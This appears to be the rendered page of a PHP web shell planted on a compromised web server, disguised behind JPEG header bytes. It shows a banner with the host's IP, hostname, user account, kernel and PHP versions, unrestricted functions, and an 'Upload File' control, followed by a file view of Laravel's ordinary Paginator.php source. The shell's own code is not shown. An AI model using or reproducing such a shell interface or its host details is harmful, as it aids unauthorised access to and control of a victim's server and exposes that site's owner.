ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/public_html/vaoday/vendor/laravel/framework/src/Illuminate/Pagination/ |
Upload File : |
<?php
namespace Illuminate\Pagination;
use Countable;
use ArrayAccess;
use JsonSerializable;
use IteratorAggregate;
use Illuminate\Support\Collection;
use Illuminate\Support\HtmlString;
use Illuminate\Contracts\Support\Jsonable;
use Illuminate\Contracts\Support\Arrayable;
use Illuminate\Contracts\Pagination\Paginator as PaginatorContract;
class Paginator extends AbstractPaginator implements Arrayable, ArrayAccess, Countable, IteratorAggregate, JsonSerializable, Jsonable, PaginatorContract
{
/**
* Determine if there are more items in the data source.
*
* @return bool
*/
protected $hasMore;
/**
* Create a new paginator instance.
*
* @param mixed $items
* @param int $perPage
* @param int|null $currentPage
* @param array $options (path, query, fragment, pageName)
* @return void
*/
public function __construct($items, $perPage, $currentPage = null, array $options = [])
{
foreach ($options as $key => $value) {
$this->{$key} = $value;
}
$this->perPage = $perPage;
$this->currentPage = $this->setCurrentPage($currentPage);
$this->path = $this->path != '/' ? rtrim($this->path, '/') : $this->path;
$this->setItems($items);
}
/**
* Get the current page for the request.
*
* @param int $currentPage
* @return int
*/
protected function setCurrentPage($currentPage)
{
$currentPage = $currentPage ?: static::resolveCurrentPage();
return $this->isValidPageNumber($currentPage) ? (int) $currentPage : 1;
}
/**
* Set the items for the paginator.
*
* @param mixed $items
* @return void
*/
protected function setItems($items)
{
$this->items = $items instanceof Collection ? $items : Collection::make($items);
$this->hasMore = count($this->items) > ($this->perPage);
$this->items = $this->items->slice(0, $this->perPage);
}
/**
* Get the URL for the next page.
*
* @return string|null
*/
public function nextPageUrl()
{
if ($this->hasMorePages()) {
return $this->url($this->currentPage() + 1);
}
}
/**
* Render the paginator using the given view.
*
* @param string|null $view
* @param array $data
* @return string
*/
public function links($view = null, $data = [])
{
return $this->render($view, $data);
}
/**
* Render the paginator using the given view.
*
* @param string|null $view
* @param array $data
* @return string
*/
public function render($view = null, $data = [])
{
return new HtmlString(
static::viewFactory()->make($view ?: static::$defaultSimpleView, array_merge($data, [
'paginator' => $this,
]))->render()
);
}
/**
* Manually indicate that the paginator does have more pages.
*
* @param bool $value
* @return $this
*/
public function hasMorePagesWhen($value = true)
{
$this->hasMore = $value;
return $this;
}
/**
* Determine if there are more items in the data source.
*
* @return bool
*/
public function hasMorePages()
{
return $this->hasMore;
}
/**
* Get the instance as an array.
*
* @return array
*/
public function toArray()
{
return [
'current_page' => $this->currentPage(),
'data' => $this->items->toArray(),
'from' => $this->firstItem(),
'next_page_url' => $this->nextPageUrl(),
'path' => $this->path,
'per_page' => $this->perPage(),
'prev_page_url' => $this->previousPageUrl(),
'to' => $this->lastItem(),
];
}
/**
* Convert the object into something JSON serializable.
*
* @return array
*/
public function jsonSerialize()
{
return $this->toArray();
}
/**
* Convert the object to its JSON representation.
*
* @param int $options
* @return string
*/
public function toJson($options = 0)
{
return json_encode($this->jsonSerialize(), $options);
}
}